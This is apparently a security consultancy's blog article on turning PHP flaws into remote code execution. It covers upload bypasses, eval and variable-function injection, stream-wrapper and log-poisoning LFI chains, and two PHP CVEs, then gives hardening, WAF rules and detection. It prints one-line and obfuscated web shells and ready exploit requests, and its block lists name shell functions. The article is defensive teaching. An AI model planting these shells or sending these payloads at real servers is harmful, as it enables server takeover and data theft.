New 2026 cybersecurity regulation now in effect in Morocco. Get a free compliance audit →
← Back to Blog
Web Security 2026-05-07 ⏱ 12 min

PHP2Shell: RCE via Web Shells and PHP Code Injection Techniques

PHP powers a significant portion of the web — WordPress, Drupal, Laravel, and countless custom applications all rely on it. That ubiquity makes PHP a high-value target. The term PHP2Shell describes the attacker's goal in its most direct form: leverage any weakness in a PHP application to land a command shell on the underlying server. Once an attacker has a web shell, they have persistent, browser-accessible command execution — game over for the application, and often for the entire host.

This article breaks down every major exploitation pathway from PHP vulnerability to interactive shell: unrestricted file uploads, eval() injection, PHP stream wrappers, Local File Inclusion (LFI) chains, and real-world CVEs. We finish with a concrete hardening checklist and detection strategy.

The Threat Model

A web shell is a script — typically a single PHP file — uploaded to or injected into a web-accessible path. Once placed, an attacker visits the URL and passes OS commands through a GET or POST parameter. The web server's user account (www-data, apache, nginx) runs those commands. The attacker can then:

  • Read sensitive files (/etc/passwd, application config, .env, database credentials)
  • Pivot to the database or internal network
  • Upload additional tools (reverse shell binaries, privilege escalation exploits)
  • Establish persistence via cron jobs or SSH key injection
  • Exfiltrate data or deploy ransomware

The minimal webshell that achieves this is as small as one line:

<?php system($_GET['cmd']); ?>

Accessing https://target.com/uploads/shell.php?cmd=id returns uid=33(www-data). From there, attackers escalate. Understanding each path that leads here is the foundation of PHP application security.

Attack Vector 1: Unrestricted File Upload

File upload functionality is one of the most dangerous features a PHP application can expose. When developers validate uploads incorrectly, attackers can upload a .php file disguised as a legitimate document or image.

The Vulnerable Upload Handler

The following pattern appears frequently in legacy codebases and tutorial code. It checks only the file extension — a trivially bypassable control:

<?php
// VULNERABLE - only checks extension, not content
$allowed = ['jpg', 'png', 'gif'];
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (in_array($ext, $allowed)) {
    move_uploaded_file(
        $_FILES['file']['tmp_name'],
        'uploads/' . $_FILES['file']['name']
    );
    echo "Upload successful";
} else {
    echo "File type not allowed";
}
?>

This check is defeated by multiple techniques:

  • Double extension: Name the file shell.php.jpg. On misconfigured Apache servers with AddHandler application/x-httpd-php .php or AddType directives matching any segment, the server may execute this as PHP. On others, renaming the stored file or finding a secondary inclusion vector achieves execution.
  • Content-Type spoofing: Tools like Burp Suite allow intercepting the multipart POST and changing Content-Type: application/octet-stream to Content-Type: image/jpeg. Servers that validate $_FILES['file']['type'] instead of actual content are fooled immediately, because that field is entirely attacker-controlled.
  • Null byte injection (legacy PHP < 5.3.4): Sending shell.php%00.jpg caused PHP's underlying C string handling to truncate at the null byte, storing the file as shell.php while the extension check saw .jpg. Patched in modern PHP, but still present in ancient installations.
  • Polyglot files: A JPEG file with a valid image header followed by a PHP payload in its EXIF comment or IDAT chunk. The file passes getimagesize() checks because the image header is genuine. If the server stores it and later includes it with include(), the PHP parser executes only the <?php ... ?> block embedded inside.

Apache .htaccess Override

If the upload directory allows .htaccess files and the Apache configuration has not set AllowOverride None, an attacker can upload a custom .htaccess containing:

AddType application/x-httpd-php .jpg

Now every .jpg in that directory executes as PHP. The attacker then uploads a PHP webshell named image.jpg and achieves remote code execution.

Attack Vector 2: Code Injection via eval() and Variable Functions

PHP's eval() function executes a string as PHP code at runtime. Applications that pass user input into eval() — directly or after weak sanitization — hand the attacker a fully interactive PHP interpreter.

<?php
// CRITICAL - executes arbitrary user-supplied PHP code
eval($_POST['code']);
?>

More commonly, developers use eval() for template engines or dynamic configuration and fail to sanitize:

<?php
$template = $_GET['tpl'];
// Intended for safe template variables, but:
eval('echo "' . $template . '";');
?>

An attacker submits tpl= or uses string escape sequences like {${eval($_GET[c])}} to force execution.

Variable Functions and Dynamic Dispatch

PHP allows calling functions through variables, creating a subtle injection surface:

<?php
// Attacker controls $func and $arg
$func = $_GET['f'];   // e.g., "system"
$arg  = $_GET['c'];   // e.g., "id"
$func($arg);           // Executes system("id")
?>

Even without eval(), this pattern provides full RCE if the function name is user-controlled. Variations use call_user_func(), call_user_func_array(), or PHP's $$variable variable-variable syntax to achieve the same result.

Obfuscated Webshell Payloads

Sophisticated attackers obfuscate webshells to evade signature-based detection:

<?php
// Base64-encoded system() call
$a = base64_decode('c3lzdGVt');  // decodes to "system"
$a($_POST['c']);
?>

<?php
// String reversal
$f = strrev('metsys');  // "system"
$f($_GET['cmd']);
?>

<?php
// chr() encoding
$f = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
$f($_REQUEST['x']);
?>

These bypass naive pattern-matching WAF rules that only look for the literal string system(. Modern analysis requires AST-level PHP parsing or sandboxed execution.

Attack Vector 3: PHP Wrappers and LFI-to-RCE

PHP's stream wrapper system is a powerful abstraction for file I/O. Attackers exploit it to turn Local File Inclusion (LFI) vulnerabilities into full remote code execution.

The Vulnerable Include Pattern

<?php
// Vulnerable LFI
$page = $_GET['page'];
include($page . '.php');
?>

php://input

The php://input wrapper reads raw POST body data. When the vulnerable include accepts this wrapper:

POST /index.php?page=php://input HTTP/1.1
Content-Type: application/x-www-form-urlencoded

<?php system($_GET['cmd']); ?>

PHP reads the POST body and executes it as PHP code, delivering RCE without writing any file to disk. This requires allow_url_include = On in php.ini (disabled by default in modern PHP, but present in many legacy configurations).

php://filter — Source Code Disclosure

Even without code execution, php://filter enables reading PHP source files:

GET /index.php?page=php://filter/convert.base64-encode/resource=config HTTP/1.1

The response contains the base64-encoded source of config.php, exposing database credentials, API keys, and application logic. Attackers then use those credentials to pivot further.

data:// Wrapper

The data:// wrapper includes inline data as a stream. With allow_url_include = On:

GET /index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ HTTP/1.1

The base64 payload decodes to <?php system($_GET['cmd']); ?>, which PHP executes directly.

LFI to RCE via Log Poisoning

When data:// and php://input are blocked, attackers chain LFI with log poisoning:

  1. Poison the log: Send an HTTP request with a PHP payload in the User-Agent header:
    GET / HTTP/1.1
    User-Agent: <?php system($_GET['cmd']); ?>
    Apache logs this verbatim to /var/log/apache2/access.log.
  2. Include the log file:
    GET /index.php?page=../../../var/log/apache2/access.log&cmd=id HTTP/1.1
    PHP includes the log file and executes every PHP tag it encounters — including the poisoned User-Agent.

The same technique works with /proc/self/environ, SSH auth logs, and PHP session files — any file the attacker can write to and the web process can read.

Notable CVEs: Real-World PHP RCE Vulnerabilities

CVE-2019-11043 was rated CVSS 9.8 (Critical). A single malformed URL was sufficient to achieve unauthenticated remote code execution on any server running PHP-FPM behind nginx with a vulnerable configuration — no authentication, no file upload, no user interaction required.

CVE-2019-11043: PHP-FPM nginx RCE

Discovered by Emil Lerner and publicly exploited at Pwn2Own, this vulnerability affected PHP-FPM in the following versions: PHP 7.1.x before 7.1.33, 7.2.x before 7.2.24, and 7.3.x before 7.3.11.

The root cause: when nginx was configured to pass certain URL patterns to PHP-FPM and a request URL contained a path component ending with a newline or special character sequence (e.g., %0a), PHP-FPM would misparse the PATH_INFO environment variable. This allowed an attacker to inject arbitrary FastCGI environment variables — including PHP_VALUE — and set directives like auto_prepend_file pointing to a remote script, or override extension to force execution of non-PHP files.

A vulnerable nginx configuration block looked like:

location ~ [^/]\.php(/|$) {
    fastcgi_split_path_info ^(.+?\.php)(/.*)$;
    fastcgi_pass unix:/run/php/php7.3-fpm.sock;
    fastcgi_param PATH_INFO $fastcgi_path_info;
    include fastcgi_params;
}

The fix: upgrade PHP-FPM and add fastcgi_param PATH_INFO ""; as a preventive measure, or restrict the regex so the path-info segment cannot be injected.

CVE-2012-1823: PHP CGI Argument Injection

This critical vulnerability affected PHP before 5.3.12 and PHP 5.4.x before 5.4.2 when PHP was deployed as a CGI binary (as opposed to mod_php or FPM). The flaw resided in the way PHP's CGI binary parsed the query string.

When a query string began with characters that resembled command-line flags (specifically when there was no = sign present), PHP's CGI handler passed the query string directly to the PHP interpreter as command-line arguments. An attacker could send:

GET /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

[POST body]
<?php system('id'); ?>

This injected -d allow_url_include=1 -d auto_prepend_file=php://input as PHP interpreter flags, causing PHP to load the POST body as a prepended file and execute it. The vulnerability was actively exploited in the wild within days of disclosure and is still scanned for in automated reconnaissance today — older installations remain unpatched.

Defensive Hardening: PHP Configuration and Server Controls

Defense in depth requires locking down both the PHP runtime and the operating environment. Start with php.ini:

; php.ini hardening
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,\
                    curl_exec,curl_multi_exec,parse_ini_file,show_source,\
                    pcntl_exec,pcntl_fork,dl

open_basedir        = /var/www/html:/tmp

allow_url_include   = Off
allow_url_fopen     = Off
expose_php          = Off
display_errors      = Off
log_errors          = On
error_log           = /var/log/php_errors.log

session.cookie_httponly = 1
session.cookie_secure   = 1
session.use_strict_mode = 1

Understanding disable_functions

disable_functions prevents PHP code from calling the listed functions, even if a webshell is successfully uploaded. Note that it is not a silver bullet: PHP extensions loaded via dl(), techniques using /proc/self/mem injection, or LD_PRELOAD tricks via mail() have historically bypassed it. Adding dl and pcntl_exec to the list and switching to a process-isolated environment (containers, seccomp profiles) closes most gaps.

open_basedir

open_basedir restricts PHP file operations to named directories. A webshell running under this restriction cannot read /etc/passwd or traverse outside /var/www/html. Combined with running the web process as a non-privileged user with minimal filesystem permissions, lateral movement is significantly constrained.

Secure File Upload Implementation

A robust upload handler must do all of the following:

  1. Validate magic bytes, not just extension: Use PHP's finfo_file() to check the actual file signature.
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime  = finfo_file($finfo, $_FILES['file']['tmp_name']);
    finfo_close($finfo);
    $allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
    if (!in_array($mime, $allowed_mimes)) {
        die('Invalid file type');
    }
  2. Rename the file on storage: Replace the original filename with a UUID or hash. Never use $_FILES['file']['name'] as the stored filename.
    $stored_name = bin2hex(random_bytes(16)) . '.jpg';
    move_uploaded_file($_FILES['file']['tmp_name'], '/var/uploads/' . $stored_name);
  3. Store uploads outside the web root: Files in /var/uploads/ cannot be directly requested via HTTP. Serve them through a PHP script that reads the file and emits the correct Content-Type header — never execute them.
  4. Disable PHP execution in upload directories: If uploads must live under the web root, add an .htaccess (Apache) or location block (nginx) that prevents script execution:
    # Apache - disable PHP in uploads/
    <Directory /var/www/html/uploads>
        php_flag engine off
        Options -ExecCGI
        RemoveHandler .php .phtml .php3 .php4 .php5
    </Directory>
    
    # nginx - deny direct execution
    location /uploads/ {
        location ~ \.php$ { deny all; }
    }
  5. Limit file size and count to prevent resource exhaustion and zip-bomb style attacks.

WAF Rules

Web Application Firewall rules can block the most common webshell upload and exploitation patterns at the HTTP layer. ModSecurity with the OWASP Core Rule Set (CRS) handles many of these out of the box. Custom rules to add:

# ModSecurity / NGINX WAF snippet
# Block PHP tags in multipart uploads
SecRule FILES_TMPNAMES "@contains <?php" \
    "id:1001,phase:2,deny,status:403,msg:'PHP code in upload'"

# Block common shell function strings in query string
SecRule ARGS "@rx (system|passthru|shell_exec|eval|base64_decode)\s*\(" \
    "id:1002,phase:2,deny,status:403,msg:'RCE attempt in parameter'"

# Block php:// wrappers in file inclusion parameters
SecRule ARGS "@rx php://(input|filter|data)" \
    "id:1003,phase:2,deny,status:403,msg:'PHP wrapper in parameter'"

Detection and Monitoring

Prevention is ideal; detection is essential. Assume breach and build visibility into what the web server process is doing.

Audit Unusual Child Processes

A PHP web shell executes OS commands by spawning child processes under the web server user. These child processes are highly abnormal in production and easy to detect:

# Monitor processes spawned by www-data in real time
watch -n 1 'ps -eo user,ppid,pid,cmd | grep www-data | grep -v php-fpm | grep -v grep'

# auditd rule: alert on any execve from web process user
auditctl -a always,exit -F arch=b64 -S execve -F uid=33 -k webshell_exec
# (uid 33 = www-data on Debian/Ubuntu; adjust for your distro)

Add the corresponding rule to /etc/audit/rules.d/webshell.rules for persistence. Review /var/log/audit/audit.log for key=webshell_exec entries. Any execve invoked by www-data that is not a known application subprocess (e.g., ImageMagick for image processing) is suspicious.

File Integrity Monitoring on Upload Directories

Use inotifywait or a dedicated FIM solution to alert on new file creation in upload paths:

inotifywait -m -e create,modify /var/www/html/uploads/ \
    --format '%T %w %f %e' --timefmt '%Y-%m-%d %H:%M:%S' \
    | while read line; do
        echo "$line" >> /var/log/upload_monitor.log
        # Alert if new .php file appears
        echo "$line" | grep -q '\.ph' && \
            echo "ALERT: PHP-like file in uploads: $line" | mail -s "Webshell Alert" [email protected]
    done

Log Analysis Indicators

Key indicators of compromise to hunt for in web access logs:

  • POST requests to files in /uploads/ — uploaded files should never receive POST data
  • GET requests with parameters containing cmd=, exec=, c= to non-API endpoints
  • Access to php://, data:// in URL parameters (URL-encoded: php%3A%2F%2F)
  • HTTP 200 responses to paths ending in .php.jpg, .phtml, .php5
  • Sudden spike in 500 errors from a specific path — may indicate shell execution failures during enumeration
  • Requests containing base64_decode, eval, system, or passthru in query strings

Runtime Application Self-Protection (RASP)

Solutions like Sqreen, Tideways, or open-source PHP extensions such as Snuffleupagus instrument the PHP runtime and can block system() calls at the function level even if disable_functions is bypassed via extension tricks. Snuffleupagus goes further by providing type-checking for function arguments and breaking most known disable_functions bypass methods.

Conclusion

The PHP2Shell attack chain is not a single vulnerability — it is a class of exploitation paths that all arrive at the same destination: a persistent, remotely accessible command shell on your server. Unrestricted file uploads, unchecked eval() calls, PHP wrapper abuse, and LFI chains are individually dangerous; in combination they create a target-rich environment that attackers systematically enumerate.

Effective defense requires layering: harden php.ini, enforce strict upload validation on magic bytes not just extensions, store uploads outside the web root, deploy WAF rules, and build runtime detection through auditd and process monitoring. CVE-2019-11043 and CVE-2012-1823 demonstrated that even the PHP runtime itself can be the vulnerability — patch cadence matters as much as application-level controls.

Your PHP application's attack surface extends from the upload form down to the interpreter binary. Treating it as a single perimeter rather than a layered defence is how organisations end up with web shells in production.

Need a PHP Security Audit?

Contact Cayvora for a free consultation and protect your PHP applications against Remote Code Execution and web shell attacks.

✉️ Request a PHP Security Audit

Related Articles